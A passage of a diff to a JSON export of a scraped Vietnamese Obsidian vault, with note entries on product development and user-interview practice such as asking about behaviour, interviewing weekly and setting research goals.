dùng/Sự tiêu cực của người dùng là cơ hội làm dự án", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu]] \nNguồn::\n", + "Toàn bộ nội dung": "Lý do:: [[Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-16T10:03:00.000Z", - "Ngày cập nhật": "2023-10-26T07:03:00.000Z", - "id": "KO" + "Ngày tạo": "2023-06-09T05:01:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kc" }, { - "Tiêu đề": "Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó", + "Tiêu đề": "Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tốc độ không tạo nên sản phẩm phù hợp thị trường\n[[Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng]]", + "Toàn bộ nội dung": "Nguồn:: ![Understanding the Job - YouTube](https://youtu.be/sfGtw2C95Ms)\n![5 Tips for Conducting JTBD Interviews - YouTube](https://youtu.be/HSyC7M6u4zQ)\n[[Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới]]\n\nMâu thuẫn với:: [[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:21:00.000Z", - "id": "KP" + "Ngày tạo": "2023-06-10T07:59:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kd" }, { - "Tiêu đề": "Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng", + "Tiêu đề": "Insight sẽ thường ra ngay lúc phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Insight sẽ thường ra ngay lúc phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n[[Các công ty không quan tâm đến tính năng chuyên biệt]]", + "Toàn bộ nội dung": "Khái niệm:: [[Insight]]\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Insight through making]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-06-21T13:32:00.000Z", - "id": "KQ" + "Ngày tạo": "2023-09-09T16:43:00.000Z", + "Ngày cập nhật": "2024-01-07T13:26:00.000Z", + "id": "Ke" }, { - "Tiêu đề": "Những người viết phần mềm vì cả nhu cầu của mình và người giống mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Những người viết phần mềm vì cả nhu cầu của mình và người giống mình", + "Tiêu đề": "Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng]]\n\nNguồn:: ", + "Toàn bộ nội dung": "Lý do:: [[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]]\nVí dụ một người nói phong cách của họ đơn giản, nhưng thời điểm họ nói điều đó họ cũng chỉ mới nghĩ ra cái khái niệm đơn giản đó. Có thể điều khiến họ mua là vì giá, vì tiện, nhưng trong đầu họ lại thấy mình mua vì phong cách, vì môi trường. Chính vì như vậy, nên [[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]], dù cho [[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người]]. Dù vậy, phỏng vấn vẫn rất nên được sử dụng vì ngoài chuyện hiểu lý do cho một hành vi của một người, [[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ|Phỏng vấn còn phù hợp để đánh giá cách tiếp nhận hay thái độ]] nữa.\nShow, don't tell\n\n[[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]\n[[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]\n[[Kết quả phỏng vấn phải actionable]]\n[[Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới]]\n[[Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần]]\n\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-07T08:15:00.000Z", - "id": "KR" + "Ngày tạo": "2023-09-09T04:10:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kf" }, { - "Tiêu đề": "Phát triển sản phẩm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Phát triển sản phẩm", + "Tiêu đề": "Kết quả phỏng vấn phải actionable", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Kết quả phỏng vấn phải actionable", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm\" \nWHERE file.name!=this.file.name\ngroup by split(file.folder, \"/\")[3] \n```\n", + "Toàn bộ nội dung": "[[Trong nhiều trường hợp, kết quả phỏng vấn bị rơi vào quên lãng]]. Nhóm có thể đã thực hiện nhiều cuộc phỏng vấn, nhưng các kết quả phỏng vấn này không đem lại giá trị đáng kể cho hoạt động của nhóm phát triển sản phẩm.\n\nCác câu hỏi trong cuộc phỏng vấn cần giúp cho việc nhận diện các vấn đề, nhu cầu của người dùng hoặc để kiểm chứng các giả thiết của sản phẩm đang phát triển. Các câu hỏi phỏng vấn cần được thiết kế theo cách xác định được những thông tin liên quan đến việc ra quyết định cho sản phẩm. Kết quả phỏng vấn cần được sử dụng để đánh giá lại chiến lược và hướng phát triển sản phẩm. Và cần có sự phối hợp giữa các bộ phận trong công ty để phỏng vấn người dùng có hiệu quả.\n\nCó một câu tôi hay dùng để tự nhắc nhở bản thân thế này: “Trước khi hỏi, bạn cần phải biết bạn sẽ làm gì với câu trả lời”\n\nNguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-16T15:57:00.000Z", - "Ngày cập nhật": "2023-11-01T07:26:00.000Z", - "id": "KS" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kg" }, { - "Tiêu đề": "Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", + "Tiêu đề": "Một số ví dụ về mục tiêu nghiên cứu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Một số ví dụ về mục tiêu nghiên cứu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "# Trước khi phát triển sản phẩm/tính năng\n\n- Xác định xem người dùng có đang gặp vấn đề mà sản phẩm muốn giải quyết hay không và mức độ nghiêm trọng của vấn đề. (hoặc nhu cầu)\n- Hiểu cách người dùng hiện đang khắc phục sự cố (hoặc thỏa mãn nhu cầu), nếu có.\n- Xác định cách tiếp cận của người dùng đối với các giải pháp hoặc giải pháp thay thế hiện tại.\n- Xác định mức độ sẵn sàng trả tiền của người dùng cho một giải pháp.\n- Xác định các yếu tố ảnh hưởng đến quá trình ra quyết định của người dùng.\n- …\n\n# Trong quá trình phát triển sản phẩm/tính năng\n\n- Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm, tính năng, phản ứng với các thông điệp\n- Đánh giá khả năng chấp nhận của khách hàng với sản phẩm hoặc tính năng, kiểm tra mức giá\n- Kiểm tra mức độ ưu tiên của khách hàng với các yêu cầu tính năng cụ thể, tìm kiếm các yêu cầu còn chưa được đáp ứng\n- Kiểm tra cách khách hàng sử dụng hoặc phản ứng với tính năng, đánh giá tính dễ hiểu, dễ sử dụng\n- Kiểm tra các giả thuyết về sản phẩm hoặc tính năng nói chung (viability, usability)\n\nSau khi sản phẩm/tính năng được phát hành, có thể tiến hành phỏng vấn người dùng để thu thập phản hồi về trải nghiệm của người dùng và xác định các khu vực cần cải thiện.\n\n- Hiểu cách người dùng đang sử dụng sản phẩm/tính năng trong cuộc sống hàng ngày của họ\n- Đo lường sự hài lòng của người dùng và xác định các lĩnh vực cần cải thiện\n- Lý giải lý do người dùng rời bỏ hoặc lý do người dùng ở lại\n- Lý giải hành vi tương tác của họ trên mạng xã hội (tại sao like, khi nào like, tại sao ko like) \n- Thu thập phản hồi về các cải tiến tiềm năng hoặc các tính năng mới cho các lần lặp lại trong tương lai\n- Đo lường mức độ thành công của sản phẩm/tính năng dựa trên việc chấp nhận và sử dụng của người dùng\n- Thu thập lời chứng thực hoặc câu chuyện thành công cho mục đích tiếp thị.\n\nMục tiêu `Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm` nghe qua giống như mục tiêu `Xác định mức độ sẵn sàng khám phá sản phẩm của khách hàng`, tuy nhiên khác nhau ở chỗ một cái thì muốn tìm hiểu về thái độ, phương thức tiếp nhận, phản ứng đầu tiên khi nghe về sản phẩm, còn một cái thì muốn đánh giá nhu cầu, khả năng tiếp nhận. Nó đang cố dự đoán hành vi tương lai của người dùng (mà [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]). Nó kiểm tra khả năng bán hàng thì tốt hơn.\n\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu]]. [[Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp]]. ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:46:00.000Z", - "Ngày cập nhật": "2023-11-17T15:29:00.000Z", - "id": "KT" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-20T15:35:00.000Z", + "id": "Kh" }, { - "Tiêu đề": "Khoảng 20% người mở tab lên là tắt ngay hoặc để đó không đọc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Khoảng 20% người mở tab lên là tắt ngay hoặc để đó không đọc", + "Tiêu đề": "Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ]] \nNguồn:: [[nngroup]], [How Little Do Users Read?](https://www.nngroup.com/articles/how-little-do-users-read/)", + "Toàn bộ nội dung": "![](https://i.imgur.com/lE5pZFO.png)\n\nNguồn:: [[Hoàng Đức Minh]]\n[[Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-10T13:14:00.000Z", - "id": "KU" + "Ngày tạo": "2023-09-09T16:42:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Ki" }, { - "Tiêu đề": "Người muốn có giải pháp sẽ muốn đọc nội dung dài", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Người muốn có giải pháp sẽ muốn đọc nội dung dài", + "Tiêu đề": "Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[nngroup]], [Long vs. Short Articles as Content Strategy](https://www.nngroup.com/articles/content-strategy-long-vs-short/)", + "Toàn bộ nội dung": "Khái niệm:: \n[[❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình]] \nNguồn:: [[Hoàng Đức Minh]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-10T13:18:00.000Z", - "id": "KV" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kj" }, { - "Tiêu đề": "Người đã biết xài công nghệ sẽ muốn tiết kiệm thời gian", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Người đã biết xài công nghệ sẽ muốn tiết kiệm thời gian", + "Tiêu đề": "Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí]]\nNguồn:: [[Điệp]]", + "Toàn bộ nội dung": "Lần gần nhất bạn làm cái này là gì?\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-08T11:29:00.000Z", - "Ngày cập nhật": "2023-12-12T06:27:00.000Z", - "id": "KW" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-02-25T07:50:00.000Z", + "id": "Kk" }, { - "Tiêu đề": "Những tính năng khác của app hấp dẫn hơn tốc độ app, trừ phi nó quá chậm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Những tính năng khác của app hấp dẫn hơn tốc độ app, trừ phi nó quá chậm", + "Tiêu đề": "Phỏng vấn là để hiểu vấn đề người dùng gặp phải, không phải để cải thiện giải pháp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn là để hiểu vấn đề người dùng gặp phải, không phải để cải thiện giải pháp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Is software getting worse? - Stack Overflow](https://stackoverflow.blog/2023/12/25/is-software-getting-worse/?_ga=2.222663899.1312893643.1703520074-436113024.1698294348&cb=1)ta", + "Toàn bộ nội dung": "Lý do:: [[Người dùng thường không nói không với những tính năng mới]]\nNguồn:: [[Y Combinator]], ![Startup Business Models and Pricing | Startup School - YouTube](https://www.youtube.com/watch?v=oWZbWzAyHAE&list=PLQ-uHSnFig5M9fW16o2l35jrfdsxGknNB&index=5)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-27T05:04:00.000Z", - "id": "KX" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kl" }, { - "Tiêu đề": "Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ", + "Tiêu đề": "Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nThời gian đọc:\n![Scatterplot: word count on the horizontal axis and the duration of average visits on the vertical axis.](https://media.nngroup.com/media/editor/alertbox/page-visit-time-per-word-count.gif)\n\nSố chữ đọc:\n![Scatterplot: word count on the horizontal axis and the largest proportion of this time users have time to read on the vertical axis](https://media.nngroup.com/media/editor/alertbox/percent-of-text-read.gif)\n\nNguồn:: [[nngroup]], [How Little Do Users Read?](https://www.nngroup.com/articles/how-little-do-users-read/)\n\n[[Người muốn có giải pháp sẽ muốn đọc nội dung dài]]", + "Toàn bộ nội dung": "Đặc điểm của phỏng vấn là số mẫu nhỏ, thiếu tính đại diện, nhưng bù lại cho phép bạn khám phá ra những thông tin mà các hình thức nghiên cứu quy mô không thể mang lại được, đặc biệt là các suy nghĩ và lối tư duy ẩn sau hành động của đối tượng. Vì vậy việc phỏng vấn thường xuyên sẽ cho phép bạn thường xuyên tiếp cận và ngày càng hiểu sâu sắc hơn về người dùng. \n\nViệc xếp lịch hàng tuần giúp bạn mỗi khi có ý tưởng mới thì sẽ có ngay nguồn đáp viên để kiểm tra lại \n\nHầu hết các nhóm sản phẩm có thể tạo ra một danh sách vô hạn các câu hỏi nghiên cứu. Luôn có nhiều điều để tìm hiểu về khách hàng của chúng ta. Một số nhóm giải quyết vấn đề này bằng cách tạo ra 1 kịch bản phỏng vấn rất dài. Nhưng chiến lược này giả định rằng bạn sẽ chỉ thỉnh thoảng nói chuyện với khách hàng, do đó, bạn cần hỏi khách hàng mọi thứ ngay trong 1 cuộc phỏng vấn. Thay vào đó, giả sử bạn sẽ nói chuyện với khách hàng hàng tuần và tập trung vào những gì bạn cần học tại thời điểm này. Như vậy, [[Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều|bạn sẽ không bị áp lực hỏi quá nhiều]].\n\nTuy nhiên với khảo sát thì không nên khảo sát nhiều. Mỗi quý khảo sát là được\nThách thức:: [[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-10T13:18:00.000Z", - "id": "KY" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Km" }, { - "Tiêu đề": "Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng", + "Tiêu đề": "Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "[[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]. [[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]. \n\n[[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]\nNguồn:: [[Hoàng Đức Minh]]\n[[Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ]]\n[[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]] \n[[Insight sẽ thường ra ngay lúc phỏng vấn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:45:00.000Z", - "Ngày cập nhật": "2023-11-17T15:29:00.000Z", - "id": "KZ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-06-21T15:22:00.000Z", + "id": "Kn" }, { - "Tiêu đề": "Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng", + "Tiêu đề": "Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng, vì nếu không việc đập code rất mệt", + "Toàn bộ nội dung": "Ví dụ nhiều người hay chê một ai đó là hát không hay, nhưng vẫn theo dõi và xem hết các MV của người đó mỗi khi ra mắt.\n\nMột mục tiêu nghiên cứu ví dụ là `Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm`. Mục tiêu này dành cho sản phẩm chưa ra đời, hoặc ít nhất là khách hàng chưa biết tới. Các câu hỏi nghiên cứu có thể là:\n- Khách hàng phản ứng như thế nào khi nghe ý tưởng về sản phẩm (hào hứng, tò mò, thờ ơ, hoang mang v.v)?\n- Khách hàng có cảm thấy họ sẽ muốn tìm hiểu về sản phẩm khi nghe đến ý tưởng này không?\n- Có các rào cản về văn hóa, và đạo đức khi nghe đến ý tưởng này không?\n\nVí dụ, mình từng phỏng vấn khách hàng về ý tưởng một mạng xã hội ăn uống dành cho MoMo, nơi một người nếu biết số điện thoại của người khác, có thể nhìn thấy lịch sử các quán ăn của người đó hay ăn. Mặc dù mọi người rất hào hứng với ý tưởng này, nhưng họ lại e ngại việc phải chia sẻ thông tin cá nhân cho người khác. Nhóm nghiên cứu sau đó dựa trên phản ứng này, đã quyết định ẩn thời gian, số lần ăn ở các quán, (chỉ hiện thị danh sách quán), bổ sung thêm tính năng cho phép ẩn danh, ẩn quán, và thiết kế thêm 1 số incentive cho người mở danh sách của mình và có nhiều lượt follow.\n\nMục tiêu `Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm` nghe qua giống như mục tiêu `Xác định mức độ sẵn sàng khám phá sản phẩm của khách hàng`, tuy nhiên khác nhau ở chỗ một cái thì muốn tìm hiểu về thái độ, phương thức tiếp nhận, phản ứng đầu tiên khi nghe về sản phẩm, còn một cái thì muốn đánh giá nhu cầu, khả năng tiếp nhận. Nó đang cố dự đoán hành vi tương lai của người dùng (mà [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]). Nó kiểm tra khả năng bán hàng thì tốt hơn.\nNguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-21T18:33:00.000Z", - "Ngày cập nhật": "2024-07-07T08:16:00.000Z", - "id": "Ka" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Ko" }, { - "Tiêu đề": "Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước", + "Tiêu đề": "Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự 